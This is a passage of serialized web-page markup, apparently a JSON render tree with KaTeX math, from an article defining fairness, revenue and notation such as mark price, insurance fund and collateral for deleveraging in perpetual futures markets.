out?",{"type":24,"tag":101,"props":167653,"children":167654},{},[167655,167660],{"type":24,"tag":10648,"props":167656,"children":167657},{},[167658],{"type":29,"value":167659},"Fairness",{"type":29,"value":167661},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":101,"props":167663,"children":167664},{},[167665,167670],{"type":24,"tag":10648,"props":167666,"children":167667},{},[167668],{"type":29,"value":167669},"Revenue",{"type":29,"value":167671},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":167673,"children":167674},{},[167675],{"type":29,"value":167676},"Let's borrow these definitions from the paper:",{"type":24,"tag":261,"props":167678,"children":167679},{},[167680],{"type":24,"tag":135,"props":167681,"children":167683},{"className":167682},[11705,165864],[167684],{"type":24,"tag":271,"props":167685,"children":167687},{"className":167686},[165869],[167688],{"type":24,"tag":271,"props":167689,"children":167691},{"className":167690},[11711],[167692],{"type":24,"tag":271,"props":167693,"children":167695},{"className":167694,"ariaHidden":5670},[11716],[167696],{"type":24,"tag":271,"props":167697,"children":167699},{"className":167698},[11721],[167700,167705],{"type":24,"tag":271,"props":167701,"children":167704},{"className":167702,"style":167703},[11726],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":271,"props":167706,"children":167708},{"className":167707},[11732],[167709],{"type":24,"tag":271,"props":167710,"children":167712},{"className":167711},[166566],[167713,168532],{"type":24,"tag":271,"props":167714,"children":167716},{"className":167715},[166571],[167717],{"type":24,"tag":271,"props":167718,"children":167720},{"className":167719},[11752,29327],[167721,168520],{"type":24,"tag":271,"props":167722,"children":167724},{"className":167723},[11757],[167725,168515],{"type":24,"tag":271,"props":167726,"children":167729},{"className":167727,"style":167728},[11762],"height:11.8392em;",[167730,167801,167818,167887,167957,168026,168096,168165,168234,168303,168373,168444],{"type":24,"tag":271,"props":167731,"children":167733},{"style":167732},"top:-14.3707em;",[167734,167739],{"type":24,"tag":271,"props":167735,"children":167738},{"className":167736,"style":167737},[11771],"height:3.3714em;",[],{"type":24,"tag":271,"props":167740,"children":167742},{"className":167741},[11732],[167743],{"type":24,"tag":271,"props":167744,"children":167746},{"className":167745},[11732],[167747,167752],{"type":24,"tag":271,"props":167748,"children":167750},{"className":167749,"style":29274},[11732,29273],[167751],{"type":29,"value":29277},{"type":24,"tag":271,"props":167753,"children":167755},{"className":167754},[11747],[167756],{"type":24,"tag":271,"props":167757,"children":167759},{"className":167758},[11752,29327],[167760,167790],{"type":24,"tag":271,"props":167761,"children":167763},{"className":167762},[11757],[167764,167785],{"type":24,"tag":271,"props":167765,"children":167767},{"className":167766,"style":116269},[11762],[167768],{"type":24,"tag":271,"props":167769,"children":167771},{"style":167770},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[167772,167776],{"type":24,"tag":271,"props":167773,"children":167775},{"className":167774,"style":11772},[11771],[],{"type":24,"tag":271,"props":167777,"children":167779},{"className":167778},[11777,11778,11779,11780],[167780],{"type":24,"tag":271,"props":167781,"children":167783},{"className":167782},[11732,29273,11780],[167784],{"type":29,"value":6054},{"type":24,"tag":271,"props":167786,"children":167788},{"className":167787},[29430],[167789],{"type":29,"value":29433},{"type":24,"tag":271,"props":167791,"children":167793},{"className":167792},[11757],[167794],{"type":24,"tag":271,"props":167795,"children":167797},{"className":167796,"style":99920},[11762],[167798],{"type":24,"tag":271,"props":167799,"children":167800},{},[],{"type":24,"tag":271,"props":167802,"children":167804},{"style":167803},"top:-12.8707em;",[167805,167809],{"type":24,"tag":271,"props":167806,"children":167808},{"className":167807,"style":167737},[11771],[],{"type":24,"tag":271,"props":167810,"children":167812},{"className":167811},[11732],[167813],{"type":24,"tag":271,"props":167814,"children":167816},{"className":167815,"style":101857},[11732,29273],[167817],{"type":29,"value":101891},{"type":24,"tag":271,"props":167819,"children":167821},{"style":167820},"top:-10.8392em;",[167822,167826],{"type":24,"tag":271,"props":167823,"children":167825},{"className":167824,"style":167737},[11771],[],{"type":24,"tag":271,"props":167827,"children":167829},{"className":167828},[11732],[167830],{"type":24,"tag":271,"props":167831,"children":167833},{"className":167832},[11732],[167834,167839],{"type":24,"tag":271,"props":167835,"children":167837},{"className":167836},[11732,29273],[167838],{"type":29,"value":578},{"type":24,"tag":271,"props":167840,"children":167842},{"className":167841},[11747],[167843],{"type":24,"tag":271,"props":167844,"children":167846},{"className":167845},[11752,29327],[167847,167876],{"type":24,"tag":271,"props":167848,"children":167850},{"className":167849},[11757],[167851,167871],{"type":24,"tag":271,"props":167852,"children":167854},{"className":167853,"style":100366},[11762],[167855],{"type":24,"tag":271,"props":167856,"children":167857},{"style":99893},[167858,167862],{"type":24,"tag":271,"props":167859,"children":167861},{"className":167860,"style":11772},[11771],[],{"type":24,"tag":271,"props":167863,"children":167865},{"className":167864},[11777,11778,11779,11780],[167866],{"type":24,"tag":271,"props":167867,"children":167869},{"className":167868},[11732,29273,11780],[167870],{"type":29,"value":11462},{"type":24,"tag":271,"props":167872,"children":167874},{"className":167873},[29430],[167875],{"type":29,"value":29433},{"type":24,"tag":271,"props":167877,"children":167879},{"className":167878},[11757],[167880],{"type":24,"tag":271,"props":167881,"children":167883},{"className":167882,"style":99920},[11762],[167884],{"type":24,"tag":271,"props":167885,"children":167886},{},[],{"type":24,"tag":271,"props":167888,"children":167890},{"style":167889},"top:-8.8188em;",[167891,167895],{"type":24,"tag":271,"props":167892,"children":167894},{"className":167893,"style":167737},[11771],[],{"type":24,"tag":271,"props":167896,"children":167898},{"className":167897},[11732],[167899],{"type":24,"tag":271,"props":167900,"children":167902},{"className":167901},[11732],[167903,167909],{"type":24,"tag":271,"props":167904,"children":167906},{"className":167905,"style":100323},[11732,29273],[167907],{"type":29,"value":167908},"π",{"type":24,"tag":271,"props":167910,"children":167912},{"className":167911},[11747],[167913],{"type":24,"tag":271,"props":167914,"children":167916},{"className":167915},[11752,29327],[167917,167946],{"type":24,"tag":271,"props":167918,"children":167920},{"className":167919},[11757],[167921,167941],{"type":24,"tag":271,"props":167922,"children":167924},{"className":167923,"style":100366},[11762],[167925],{"type":24,"tag":271,"props":167926,"children":167927},{"style":100370},[167928,167932],{"type":24,"tag":271,"props":167929,"children":167931},{"className":167930,"style":11772},[11771],[],{"type":24,"tag":271,"props":167933,"children":167935},{"className":167934},[11777,11778,11779,11780],[167936],{"type":24,"tag":271,"props":167937,"children":167939},{"className":167938},[11732,29273,11780],[167940],{"type":29,"value":11462},{"type":24,"tag":271,"props":167942,"children":167944},{"className":167943},[29430],[167945],{"type":29,"value":29433},{"type":24,"tag":271,"props":167947,"children":167949},{"className":167948},[11757],[167950],{"type":24,"tag":271,"props":167951,"children":167953},{"className":167952,"style":99920},[11762],[167954],{"type":24,"tag":271,"props":167955,"children":167956},{},[],{"type":24,"tag":271,"props":167958,"children":167960},{"style":167959},"top:-7.3188em;",[167961,167965],{"type":24,"tag":271,"props":167962,"children":167964},{"className":167963,"style":167737},[11771],[],{"type":24,"tag":271,"props":167966,"children":167968},{"className":167967},[11732],[167969],{"type":24,"tag":271,"props":167970,"children":167972},{"className":167971},[11732],[167973,167978],{"type":24,"tag":271,"props":167974,"children":167976},{"className":167975},[11732,29273],[167977],{"type":29,"value":1026},{"type":24,"tag":271,"props":167979,"children":167981},{"className":167980},[11747],[167982],{"type":24,"tag":271,"props":167983,"children":167985},{"className":167984},[11752,29327],[167986,168015],{"type":24,"tag":271,"props":167987,"children":167989},{"className":167988},[11757],[167990,168010],{"type":24,"tag":271,"props":167991,"children":167993},{"className":167992,"style":100366},[11762],[167994],{"type":24,"tag":271,"props":167995,"children":167996},{"style":99893},[167997,168001],{"type":24,"tag":271,"props":167998,"children":168000},{"className":167999,"style":11772},[11771],[],{"type":24,"tag":271,"props":168002,"children":168004},{"className":168003},[11777,11778,11779,11780],[168005],{"type":24,"tag":271,"props":168006,"children":168008},{"className":168007},[11732,29273,11780],[168009],{"type":29,"value":11462},{"type":24,"tag":271,"props":168011,"children":168013},{"className":168012},[29430],[168014],{"type":29,"value":29433},{"type":24,"tag":271,"props":168016,"children":168018},{"className":168017},[11757],[168019],{"type":24,"tag":271,"props":168020,"children":168022},{"className":168021,"style":99920},[11762],[168023],{"type":24,"tag":271,"props":168024,"children":168025},{},[],{"type":24,"tag":271,"props":168027,"children":168029},{"style":168028},"top:-5.8188em;",[168030,168034],{"type":24,"tag":271,"props":168031,"children":168033},{"className":168032,"style":167737},[11771],[],{"type":24,"tag":271,"props":168035,"children":168037},{"className":168036},[11732],[168038],{"type":24,"tag":271,"props":168039,"children":168041},{"className":168040},[11732],[168042,168047],{"type":24,"tag":271,"props":168043,"children":168045},{"className":168044,"style":129117},[11732,29273],[168046],{"type":29,"value":2930},{"type":24,"tag":271,"props":168048,"children":168050},{"className":168049},[11747],[168051],{"type":24,"tag":271,"props":168052,"children":168054},{"className":168053},[11752,29327],[168055,168085],{"type":24,"tag":271,"props":168056,"children":168058},{"className":168057},[11757],[168059,168080],{"type":24,"tag":271,"props":168060,"children":168062},{"className":168061,"style":100366},[11762],[168063],{"type":24,"tag":271,"props":168064,"children":168066},{"style":168065},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[168067,168071],{"type":24,"tag":271,"props":168068,"children":168070},{"className":168069,"style":11772},[11771],[],{"type":24,"tag":271,"props":168072,"children":168074},{"className":168073},[11777,11778,11779,11780],[168075],{"type":24,"tag":271,"props":168076,"children":168078},{"className":168077},[11732,29273,11780],[168079],{"type":29,"value":11462},{"type":24,"tag":271,"props":168081,"children":168083},{"className":168082},[29430],[168084],{"type":29,"value":29433},{"type":24,"tag":271,"props":168086,"children":168088},{"className":168087},[11757],[168089],{"type":24,"tag":271,"props":168090,"children":168092},{"className":168091,"style":99920},[11762],[168093],{"type":24,"tag":271,"props":168094,"children":168095},{},[],{"type":24,"tag":271,"props":168097,"children":168099},{"style":168098},"top:-4.3188em;",[168100,168104],{"type":24,"tag":271,"props":168101,"children":168103},{"className":168102,"style":167737},[11771],[],{"type":24,"tag":271,"props":168105,"children":168107},{"className":168106},[11732],[168108],{"type":24,"tag":271,"props":168109,"children":168111},{"className":168110},[11732],[168112,168117],{"type":24,"tag":271,"props":168113,"children":168115},{"className":168114},[11732,29273],[168116],{"type":29,"value":6034},{"type":24,"tag":271,"props":168118,"children":168120},{"className":168119},[11747],[168121],{"type":24,"tag":271,"props":168122,"children":168124},{"className":168123},[11752,29327],[168125,168154],{"type":24,"tag":271,"props":168126,"children":168128},{"className":168127},[11757],[168129,168149],{"type":24,"tag":271,"props":168130,"children":168132},{"className":168131,"style":100366},[11762],[168133],{"type":24,"tag":271,"props":168134,"children":168135},{"style":99893},[168136,168140],{"type":24,"tag":271,"props":168137,"children":168139},{"className":168138,"style":11772},[11771],[],{"type":24,"tag":271,"props":168141,"children":168143},{"className":168142},[11777,11778,11779,11780],[168144],{"type":24,"tag":271,"props":168145,"children":168147},{"className":168146},[11732,29273,11780],[168148],{"type":29,"value":11462},{"type":24,"tag":271,"props":168150,"children":168152},{"className":168151},[29430],[168153],{"type":29,"value":29433},{"type":24,"tag":271,"props":168155,"children":168157},{"className":168156},[11757],[168158],{"type":24,"tag":271,"props":168159,"children":168161},{"className":168160,"style":99920},[11762],[168162],{"type":24,"tag":271,"props":168163,"children":168164},{},[],{"type":24,"tag":271,"props":168166,"children":168168},{"style":168167},"top:-2.5512em;",[168169,168173],{"type":24,"tag":271,"props":168170,"children":168172},{"className":168171,"style":167737},[11771],[],{"type":24,"tag":271,"props":168174,"children":168176},{"className":168175},[11732],[168177],{"type":24,"tag":271,"props":168178,"children":168180},{"className":168179},[11732],[168181,168186],{"type":24,"tag":271,"props":168182,"children":168184},{"className":168183},[11732,29273],[168185],{"type":29,"value":91135},{"type":24,"tag":271,"props":168187,"children":168189},{"className":168188},[11747],[168190],{"type":24,"tag":271,"props":168191,"children":168193},{"className":168192},[11752,29327],[168194,168223],{"type":24,"tag":271,"props":168195,"children":168197},{"className":168196},[11757],[168198,168218],{"type":24,"tag":271,"props":168199,"children":168201},{"className":168200,"style":100366},[11762],[168202],{"type":24,"tag":271,"props":168203,"children":168204},{"style":99893},[168205,168209],{"type":24,"tag":271,"props":168206,"children":168208},{"className":168207,"style":11772},[11771],[],{"type":24,"tag":271,"props":168210,"children":168212},{"className":168211},[11777,11778,11779,11780],[168213],{"type":24,"tag":271,"props":168214,"children":168216},{"className":168215},[11732,29273,11780],[168217],{"type":29,"value":11462},{"type":24,"tag":271,"props":168219,"children":168221},{"className":168220},[29430],[168222],{"type":29,"value":29433},{"type":24,"tag":271,"props":168224,"children":168226},{"className":168225},[11757],[168227],{"type":24,"tag":271,"props":168228,"children":168230},{"className":168229,"style":99920},[11762],[168231],{"type":24,"tag":271,"props":168232,"children":168233},{},[],{"type":24,"tag":271,"props":168235,"children":168237},{"style":168236},"top:-0.3652em;",[168238,168242],{"type":24,"tag":271,"props":168239,"children":168241},{"className":168240,"style":167737},[11771],[],{"type":24,"tag":271,"props":168243,"children":168245},{"className":168244},[11732],[168246],{"type":24,"tag":271,"props":168247,"children":168249},{"className":168248},[11732],[168250,168255],{"type":24,"tag":271,"props":168251,"children":168253},{"className":168252,"style":100071},[11732,29273],[168254],{"type":29,"value":100074},{"type":24,"tag":271,"props":168256,"children":168258},{"className":168257},[11747],[168259],{"type":24,"tag":271,"props":168260,"children":168262},{"className":168261},[11752,29327],[168263,168292],{"type":24,"tag":271,"props":168264,"children":168266},{"className":168265},[11757],[168267,168287],{"type":24,"tag":271,"props":168268,"children":168270},{"className":168269,"style":149392},[11762],[168271],{"type":24,"tag":271,"props":168272,"children":168273},{"style":117266},[168274,168278],{"type":24,"tag":271,"props":168275,"children":168277},{"className":168276,"style":11772},[11771],[],{"type":24,"tag":271,"props":168279,"children":168281},{"className":168280},[11777,11778,11779,11780],[168282],{"type":24,"tag":271,"props":168283,"children":168285},{"className":168284,"style":29274},[11732,29273,11780],[168286],{"type":29,"value":13704},{"type":24,"tag":271,"props":168288,"children":168290},{"className":168289},[29430],[168291],{"type":29,"value":29433},{"type":24,"tag":271,"props":168293,"children":168295},{"className":168294},[11757],[168296],{"type":24,"tag":271,"props":168297,"children":168299},{"className":168298,"style":99920},[11762],[168300],{"type":24,"tag":271,"props":168301,"children":168302},{},[],{"type":24,"tag":271,"props":168304,"children":168306},{"style":168305},"top:2.2624em;",[168307,168311],{"type":24,"tag":271,"props":168308,"children":168310},{"className":168309,"style":167737},[11771],[],{"type":24,"tag":271,"props":168312,"children":168314},{"className":168313},[11732],[168315],{"type":24,"tag":271,"props":168316,"children":168318},{"className":168317},[11732],[168319,168325],{"type":24,"tag":271,"props":168320,"children":168322},{"className":168321,"style":99837},[11732,29273],[168323],{"type":29,"value":168324},"D",{"type":24,"tag":271,"props":168326,"children":168328},{"className":168327},[11747],[168329],{"type":24,"tag":271,"props":168330,"children":168332},{"className":168331},[11752,29327],[168333,168362],{"type":24,"tag":271,"props":168334,"children":168336},{"className":168335},[11757],[168337,168357],{"type":24,"tag":271,"props":168338,"children":168340},{"className":168339,"style":149392},[11762],[168341],{"type":24,"tag":271,"props":168342,"children":168343},{"style":116836},[168344,168348],{"type":24,"tag":271,"props":168345,"children":168347},{"className":168346,"style":11772},[11771],[],{"type":24,"tag":271,"props":168349,"children":168351},{"className":168350},[11777,11778,11779,11780],[168352],{"type":24,"tag":271,"props":168353,"children":168355},{"className":168354,"style":29274},[11732,29273,11780],[168356],{"type":29,"value":13704},{"type":24,"tag":271,"props":168358,"children":168360},{"className":168359},[29430],[168361],{"type":29,"value":29433},{"type":24,"tag":271,"props":168363,"children":168365},{"className":168364},[11757],[168366],{"type":24,"tag":271,"props":168367,"children":168369},{"className":168368,"style":99920},[11762],[168370],{"type":24,"tag":271,"props":168371,"children":168372},{},[],{"type":24,"tag":271,"props":168374,"children":168376},{"style":168375},"top:4.8901em;",[168377,168381],{"type":24,"tag":271,"props":168378,"children":168380},{"className":168379,"style":167737},[11771],[],{"type":24,"tag":271,"props":168382,"children":168384},{"className":168383},[11732],[168385],{"type":24,"tag":271,"props":168386,"children":168388},{"className":168387},[11732],[168389,168395],{"type":24,"tag":271,"props":168390,"children":168392},{"className":168391,"style":101845},[11732,29273],[168393],{"type":29,"value":168394},"U",{"type":24,"tag":271,"props":168396,"children":168398},{"className":168397},[11747],[168399],{"type":24,"tag":271,"props":168400,"children":168402},{"className":168401},[11752,29327],[168403,168433],{"type":24,"tag":271,"props":168404,"children":168406},{"className":168405},[11757],[168407,168428],{"type":24,"tag":271,"props":168408,"children":168410},{"className":168409,"style":149392},[11762],[168411],{"type":24,"tag":271,"props":168412,"children":168414},{"style":168413},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[168415,168419],{"type":24,"tag":271,"props":168416,"children":168418},{"className":168417,"style":11772},[11771],[],{"type":24,"tag":271,"props":168420,"children":168422},{"className":168421},[11777,11778,11779,11780],[168423],{"type":24,"tag":271,"props":168424,"children":168426},{"className":168425,"style":29274},[11732,29273,11780],[168427],{"type":29,"value":13704},{"type":24,"tag":271,"props":168429,"children":168431},{"className":168430},[29430],[168432],{"type":29,"value":29433},{"type":24,"tag":271,"props":168434,"children":168436},{"className":168435},[11757],[168437],{"type":24,"tag":271,"props":168438,"children":168440},{"className":168439,"style":99920},[11762],[168441],{"type":24,"tag":271,"props":168442,"children":168443},{},[],{"type":24,"tag":271,"props":168445,"children":168447},{"style":168446},"top:7.3078em;",[168448,168452],{"type":24,"tag":271,"props":168449,"children":168451},{"className":168450,"style":167737},[11771],[],{"type":24,"tag":271,"props":168453,"children":168455},{"className":168454},[11732],[168456],{"type":24,"tag":271,"props":168457,"children":168459},{"className":168458},[11732],[168460,168465],{"type":24,"tag":271,"props":168461,"children":168463},{"className":168462,"style":129614},[11732,29273],[168464],{"type":29,"value":129617},{"type":24,"tag":271,"props":168466,"children":168468},{"className":168467},[11747],[168469],{"type":24,"tag":271,"props":168470,"children":168472},{"className":168471},[11752,29327],[168473,168504],{"type":24,"tag":271,"props":168474,"children":168476},{"className":168475},[11757],[168477,168499],{"type":24,"tag":271,"props":168478,"children":168481},{"className":168479,"style":168480},[11762],"height:0.2806em;",[168482],{"type":24,"tag":271,"props":168483,"children":168485},{"style":168484},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[168486,168490],{"type":24,"tag":271,"props":168487,"children":168489},{"className":168488,"style":11772},[11771],[],{"type":24,"tag":271,"props":168491,"children":168493},{"className":168492},[11777,11778,11779,11780],[168494],{"type":24,"tag":271,"props":168495,"children":168497},{"className":168496},[11732,29273,11780],[168498],{"type":29,"value":29415},{"type":24,"tag":271,"props":168500,"children":168502},{"className":168501},[29430],[168503],{"type":29,"value":29433},{"type":24,"tag":271,"props":168505,"children":168507},{"className":168506},[11757],[168508],{"type":24,"tag":271,"props":168509,"children":168511},{"className":168510,"style":99920},[11762],[168512],{"type":24,"tag":271,"props":168513,"children":168514},{},[],{"type":24,"tag":271,"props":168516,"children":168518},{"className":168517},[29430],[168519],{"type":29,"value":29433},{"type":24,"tag":271,"props":168521,"children":168523},{"className":168522},[11757],[168524],{"type":24,"tag":271,"props":168525,"children":168528},{"className":168526,"style":168527},[11762],"height:11.3392em;",[168529],{"type":24,"tag":271,"props":168530,"children":168531},{},[],{"type":24,"tag":271,"props":168533,"children":168535},{"className":168534},[166651],[168536],{"type":24,"tag":271,"props":168537,"children":168539},{"className":168538},[11752,29327],[168540,170242],{"type":24,"tag":271,"props":168541,"children":168543},{"className":168542},[11757],[168544,170237],{"type":24,"tag":271,"props":168545,"children":168547},{"className":168546,"style":167728},[11762],[168548,168586,168624,168771,169006,169161,169266,169309,169530,169689,169879,170031],{"type":24,"tag":271,"props":168549,"children":168550},{"style":167732},[168551,168555],{"type":24,"tag":271,"props":168552,"children":168554},{"className":168553,"style":167737},[11771],[],{"type":24,"tag":271,"props":168556,"children":168558},{"className":168557},[11732],[168559,168563,168567,168572,168576],{"type":24,"tag":271,"props":168560,"children":168562},{"className":168561},[11732],[],{"type":24,"tag":271,"props":168564,"children":168566},{"className":168565,"style":11908},[11810],[],{"type":24,"tag":271,"props":168568,"children":168570},{"className":168569},[11913],[168571],{"type":29,"value":29292},{"type":24,"tag":271,"props":168573,"children":168575},{"className":168574,"style":11908},[11810],[],{"type":24,"tag":271,"props":168577,"children":168579},{"className":168578},[11732,29],[168580],{"type":24,"tag":271,"props":168581,"children":168583},{"className":168582},[11732],[168584],{"type":29,"value":168585},"mark price",{"type":24,"tag":271,"props":168587,"children":168588},{"style":167803},[168589,168593],{"type":24,"tag":271,"props":168590,"children":168592},{"className":168591,"style":167737},[11771],[],{"type":24,"tag":271,"props":168594,"children":168596},{"className":168595},[11732],[168597,168601,168605,168610,168614],{"type":24,"tag":271,"props":168598,"children":168600},{"className":168599},[11732],[],{"type":24,"tag":271,"props":168602,"children":168604},{"className":168603,"style":11908},[11810],[],{"type":24,"tag":271,"props":168606,"children":168608},{"className":168607},[11913],[168609],{"type":29,"value":29292},{"type":24,"tag":271,"props":168611,"children":168613},{"className":168612,"style":11908},[11810],[],{"type":24,"tag":271,"props":168615,"children":168617},{"className":168616},[11732,29],[168618],{"type":24,"tag":271,"props":168619,"children":168621},{"className":168620},[11732],[168622],{"type":29,"value":168623},"insurance fund",{"type":24,"tag":271,"props":168625,"children":168626},{"style":167820},[168627,168631],{"type":24,"tag":271,"props":168628,"children":168630},{"className":168629,"style":167737},[11771],[],{"type":24,"tag":271,"props":168632,"children":168634},{"className":168633},[11732],[168635,168639,168643,168648,168652,168662,168666,168671,168675],{"type":24,"tag":271,"props":168636,"children":168638},{"className":168637},[11732],[],{"type":24,"tag":271,"props":168640,"children":168642},{"className":168641,"style":11908},[11810],[],{"type":24,"tag":271,"props":168644,"children":168646},{"className":168645},[11913],[168647],{"type":29,"value":29292},{"type":24,"tag":271,"props":168649,"children":168651},{"className":168650,"style":11908},[11810],[],{"type":24,"tag":271,"props":168653,"children":168655},{"className":168654},[11732,29],[168656],{"type":24,"tag":271,"props":168657,"children":168659},{"className":168658},[11732],[168660],{"type":29,"value":168661},"collateral",{"type":24,"tag":271,"props":168663,"children":168665},{"className":168664,"style":11908},[11810],[],{"type":24,"tag":271,"props":168667,"children":168669},{"className":168668},[11913],[168670],{"type":29,"value":762},{"type":24,"tag":271,"props":168672,"children":168674},{"className":168673,"style":11908},[11810],[],{"type":24,"tag":271,"props":168676,"children":168678},{"className":168677},[11732],[168679,168683,168767],{"type":24,"tag":271,"props":168680,"children":168682},{"className":168681},[29402,120355],[],{"type":24,"tag":271,"props":168684,"children":168686},{"className":168685},[120360],[168687],{"type":24,"tag":271,"props":168688,"children":168690},{"className":168689},[11752,29327],[168691,168756],{"type":24,"tag":271,"props":168692,"children":168694},{"className":168693},[11757],[168695,168751],{"type":24,"tag":271,"props":168696,"children":168699},{"className":168697,"style":168698},[11762],"height:1.3714em;",[168700,168720,168731],{"type":24,"tag":271,"props":168701,"children":168702},{"style":165946},[168703,168707],{"type":24,"tag":271,"props":168704,"children":168706},{"className":168705,"style":119008},[11771],[],{"type":24,"tag":271,"props":168708,"children":168710},{"className":168709},[11732],[168711],{"type":24,"tag":271,"props":168712,"children":168714},{"className":168713},[11732,29],[168715],{"type":24,"tag":271,"props":168716,"children":168718},{"className":168717},[11732],[168719],{"type":29,"value":165983},{"type":24,"tag":271,"props":168721,"children":168722},{"style":120410},[168723,168727],{"type":24,"tag":271,"props":168724,"children":168726},{"className":168725,"style":119008},[11771],[],{"type":24,"tag":271,"props":168728,"children":168730},{"className":168729,"style":120420},[120419],[],{"type":24,"tag":271,"props":168732,"children":168733},{"style":165997},[168734,168738],{"type":24,"tag":271,"props":168735,"children":168737},{"className":168736,"style":119008},[11771],[],{"type":24,"tag":271,"props":168739,"children":168741},{"className":168740},[11732],[168742],{"type":24,"tag":271,"props":168743,"children":168745},{"className":168744},[11732,29],[168746],{"type":24,"tag":271,"props":168747,"children":168749},{"className":168748},[11732],[168750],{"type":29,"value":166022},{"type":24,"tag":271,"props":168752,"children":168754},{"className":168753},[29430],[168755],{"type":29,"value":29433},{"type":24,"tag":271,"props":168757,"children":168759},{"className":168758},[11757],[168760],{"type":24,"tag":271,"props":168761,"children":168763},{"className":168762,"style":166040},[11762],[168764],{"type":24,"tag":271,"props":168765,"children":168766},{},[],{"type":24,"tag":271,"props":168768,"children":168770},{"className":168769},[29424,120355],[],{"type":24,"tag":271,"props":168772,"children":168773},{"style":167889},[168774,168778],{"type":24,"tag":271,"props":168775,"children":168777},{"className":168776,"style":167737},[11771],[],{"type":24,"tag":271,"props":168779,"children":168781},{"className":168780},[11732],[168782,168786,168790,168795,168799,168856,168860,168865,168869,168874,168931,168935,168940,168944,169001],{"type":24,"tag":271,"props":168783,"children":168785},{"className":168784},[11732],[],{"type":24,"tag":271,"props":168787,"children":168789},{"className":168788,"style":11908},[11810],[],{"type":24,"tag":271,"props":168791,"children":168793},{"className":168792},[11913],[168794],{"type":29,"value":762},{"type":24,"tag":271,"props":168796,"children":168798},{"className":168797,"style":11908},[11810],[],{"type":24,"tag":271,"props":168800,"children":168802},{"className":168801},[11732],[168803,168808],{"type":24,"tag":271,"props":168804,"children":168806},{"className":168805},[11732,29273],[168807],{"type":29,"value":18355},{"type":24,"tag":271,"props":168809,"children":168811},{"className":168810},[11747],[168812],{"type":24,"tag":271,"props":168813,"children":168815},{"className":168814},[11752,29327],[168816,168845],{"type":24,"tag":271,"props":168817,"children":168819},{"className":168818},[11757],[168820,168840],{"type":24,"tag":271,"props":168821,"children":168823},{"className":168822,"style":100366},[11762],[168824],{"type":24,"tag":271,"props":168825,"children":168826},{"style":99893},[168827,168831],{"type":24,"tag":271,"props":168828,"children":168830},{"className":168829,"style":11772},[11771],[],{"type":24,"tag":271,"props":168832,"children":168834},{"className":168833},[11777,11778,11779,11780],[168835],{"type":24,"tag":271,"props":168836,"children":168838},{"className":168837},[11732,29273,11780],[168839],{"type":29,"value":11462},{"type":24,"tag":271,"props":168841,"children":168843},{"className":168842},[29430],[168844],{"type":29,"value":29433},{"type":24,"tag":271,"props":168846,"children":168848},{"className":168847},[11757],[168849],{"type":24,"tag":271,"props":168850,"children":168852},{"className":168851,"style":99920},[11762],[168853],{"type":24,"tag":271,"props":168854,"children":168855},{},[],{"type":24,"tag":271,"props":168857,"children":168859},{"className":168858,"style":11811},[11810],[],{"type":24,"tag":271,"props":168861,"children":168863},{"className":168862},[11816],[168864],{"type":29,"value":118099},{"type":24,"tag":271,"props":168866,"children":168868},{"className":168867,"style":11811},[11810],[],{"type":24,"tag":271,"props":168870,"children":168872},{"className":168871},[29402],[168873],{"type":29,"value":606},{"type":24,"tag":271,"props":168875,"children":168877},{"className":168876},[11732],[168878,168883],{"type":24,"tag":271,"props":168879,"children":168881},{"className":168880,"style":29274},[11732,29273],[168882],{"type":29,"value":29277},{"type":24,"tag":271,"props":168884,"children":168886},{"className":168885},[11747],[168887],{"type":24,"tag":271,"props":168888,"children":168890},{"className":168889},[11752,29327],[168891,168920],{"type":24,"tag":271,"props":168892,"children":168894},{"className":168893},[11757],[168895,168915],{"type":24,"tag":271,"props":168896,"children":168898},{"className":168897,"style":116269},[11762],[168899],{"type":24,"tag":271,"props":168900,"children":168901},{"style":167770},[168902,168906],{"type":24,"tag":271,"props":168903,"children":168905},{"className":168904,"style":11772},[11771],[],{"type":24,"tag":271,"props":168907,"children":168909},{"className":168908},[11777,11778,11779,11780],[168910],{"type":24,"tag":271,"props":168911,"children":168913},{"className":168912},[11732,29273,11780],[168914],{"type":29,"value":6054},{"type":24,"tag":271,"props":168916,"children":168918},{"className":168917},[29430],[168919],{"type":29,"value":29433},{"type":24,"tag":271,"props":168921,"children":168923},{"className":168922},[11757],[168924],{"type":24,"tag":271,"props":168925,"children":168927},{"className":168926,"style":99920},[11762],[168928],{"type":24,"tag":271,"props":168929,"children":168930},{},[],{"type":24,"tag":271,"props":168932,"children":168934},{"className":168933,"style":11811},[11810],[],{"type":24,"tag":271,"props":168936,"children":168938},{"className":168937},[11816],[168939],{"type":29,"value":11791},{"type":24,"tag":271,"props":168941,"children":168943},{"className":168942,"style":11811},[11810],[],{"type":24,"tag":271,"props":168945,"children":168947},{"className":168946},[11732],[168948,168953],{"type":24,"tag":271,"props":168949,"children":168951},{"className":168950},[11732,29273],[168952],{"type":29,"value":25},{"type":24,"tag":271,"props":168954,"children":168956},{"className":168955},[11747],[168957],{"type":24,"tag":271,"props":168958,"children":168960},{"className":168959},[11752,29327],[168961,168990],{"type":24,"tag":271,"props":168962,"children":168964},{"className":168963},[11757],[168965,168985],{"type":24,"tag":271,"props":168966,"children":168968},{"className":168967,"style":100366},[11762],[168969],{"type":24,"tag":271,"props":168970,"children":168971},{"style":99893},[168972,168976],{"type":24,"tag":271,"props":168973,"children":168975},{"className":168974,"style":11772},[11771],[],{"type":24,"tag":271,"props":168977,"children":168979},{"className":168978},[11777,11778,11779,11780],[168980],{"type":24,"tag":271,"props":168981,"children":168983},{"className":168982},[11732,29273,11780],[168984],{"type":29,"value":11462},{"type":24,"tag":271,"props":168986,"children":168988},{"className":168987},[29430],[168989],{"type":29,"value":29433},{"type":24,"tag":271,"props":168991,"children":168993},{"className":168992},[11757],[168994],{"type":24,"tag":271,"props":168995,"children":168997},{"className":168996,"style":99920},[11762],[168998],{"type":24,"tag":271,"props":168999,"children":169000},{},[],{"type":24,"tag":271,"props":169002,"children":169004},{"className":169003},[29424],[169005],{"type":29,"value":2693},{"type":24,"tag":271,"props":169007,"children":169008},{"style":167959},[169009,169013],{"type":24,"tag":271,"props":169010,"children":169012},{"className":169011,"style":167737},[11771],[],{"type":24,"tag":271,"props":169014,"children":169016},{"className":169015},[11732],[169017,169021,169025,169030,169034,169091,169095,169100,169104],{"type":24,"tag":271,"